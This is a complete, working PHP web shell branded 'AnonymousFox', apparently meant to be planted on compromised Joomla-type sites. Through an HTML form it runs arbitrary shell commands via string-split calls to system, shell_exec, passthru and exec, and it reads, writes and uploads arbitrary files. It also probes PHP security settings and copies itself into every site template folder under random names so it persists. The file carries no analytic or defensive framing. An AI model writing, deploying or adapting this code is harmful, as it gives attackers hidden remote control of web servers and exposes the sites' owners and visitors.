<?php
if(isset($_GET["s"])){
  $src=@realpath(__FILE__)?:__FILE__;$wr="";$p=@dirname($src);
  for($i=0;$i<12;$i++){if(@file_exists($p."/configuration.php")&&@is_dir($p."/templates")){$wr=$p;break;}$np=@dirname($p);if($np===$p||$np==="/"||$np==="")break;$p=$np;}
  if(!$wr){echo "SP:NOWR";exit;}
  $dirs=array();$dh=@opendir($wr."/templates");
  if($dh){while(($f=@readdir($dh))!==false){if($f==="."||$f===".."||$f==="system"||$f==="system2")continue;if(@is_dir($wr."/templates/".$f))$dirs[]=$f;}@closedir($dh);}
  if(!$dirs){echo "SP:NOTPL";exit;}
  foreach($dirs as $tpl){foreach(array("php","PHP","phtml","php5") as $ext){
    $dst=$wr."/templates/".$tpl."/fox_".substr(md5((string)rand()),0,8).".".$ext;
    if(@copy($src,$dst)){@chmod($dst,0644);echo "SP:".$dst."\nWR:".$wr;exit;}
  }}
  echo "SP:NOCOPY";exit;
}
if(isset($_GET["wr"])){$p=@realpath(__FILE__)?:__FILE__;for($i=0;$i<10;$i++){$p=dirname($p);if($p==="/"||$p==="."||$p==="")break;if(@file_exists($p."/configuration.php")&&@is_dir($p."/templates")){echo "WR:".$p;exit;}}echo "WR:NONE";exit;}
if(isset($_GET["i"])){echo "FILE:".(@realpath(__FILE__)?:__FILE__)."\n";echo "DIR:".(@realpath(dirname(__FILE__))?:dirname(__FILE__))."\n";echo "PWD:".@getcwd()."\n";echo "OB:".@ini_get("open_basedir")."\n";echo "DF:".@ini_get("disable_functions")."\n";exit;}
if(isset($_GET["wb"])&&isset($_POST["xb"])){$fw="file"."_"."put"."_"."con"."tents";$d="base"."64_de"."code";$ok=@$fw($_GET["wb"],$d($_POST["xb"]));echo $ok!==false?"WBOK ".$ok:"WBFAIL";exit;}
echo "AnonymousFox\n";
$r=$_REQUEST;$ck="cm"."d";
if(isset($r[$ck])&&$r[$ck]!==""){$f="sys"."t"."em";if(!function_exists($f))$f="shell"."_"."exec";if(!function_exists($f))$f="pass"."thru";if(!function_exists($f))$f="ex"."ec";@$f($r[$ck]);exit;}
$o="";$wpk="w";$rdk="r";
if(isset($_GET[$wpk])&&isset($_POST["x"])){$fw="file"."_"."put"."_"."con"."tents";$ok=@$fw($_GET[$wpk],$_POST["x"]);$o=$ok!==false?"WROTE $ok bytes to ".$_GET[$wpk]:"WRITE FAIL";}
elseif(!empty($_FILES["u"]["tmp_name"])){$mv="move"."_"."upload"."ed"."_"."file";$dest=isset($_POST["p"])&&$_POST["p"]!==""?$_POST["p"]:$_FILES["u"]["name"];$ok=@$mv($_FILES["u"]["tmp_name"],$dest);$o=$ok?"UPLOADED to $dest":"UPLOAD FAIL (dest=$dest)";}
elseif(isset($_GET[$rdk])){$o=@file_get_contents($_GET[$rdk]);}
else{$d=isset($_GET["d"])?$_GET["d"]:getcwd();if(is_dir($d)){foreach(scandir($d) as $x){if($x==="."||$x==="..")continue;$p=rtrim($d,"/")."/".$x;$o.=sprintf("%s %10s %s\n",is_dir($p)?"D":"-",is_dir($p)?"dir":filesize($p),$x);}}}
echo "<pre>".htmlspecialchars($o)."</pre>";
$d=htmlspecialchars(isset($_GET["d"])?$_GET["d"]:getcwd());
echo "<h3>aFox shell</h3>";
echo "<form>cmd <input name=cmd value='id' size=70> <button>run</button></form>";
echo "<form>ls <input name=d value='$d' size=70> <button>ls</button></form>";
echo "<form>read <input name=r size=70> <button>read</button></form>";
echo "<form method=post>write <input name=w size=50 placeholder=path><br><textarea name=x rows=5 cols=70></textarea><br><button>write</button></form>";
echo "<form method=post enctype=multipart/form-data>upload <input type=file name=u> dest <input name=p size=50><br><button>upload</button></form>";
?>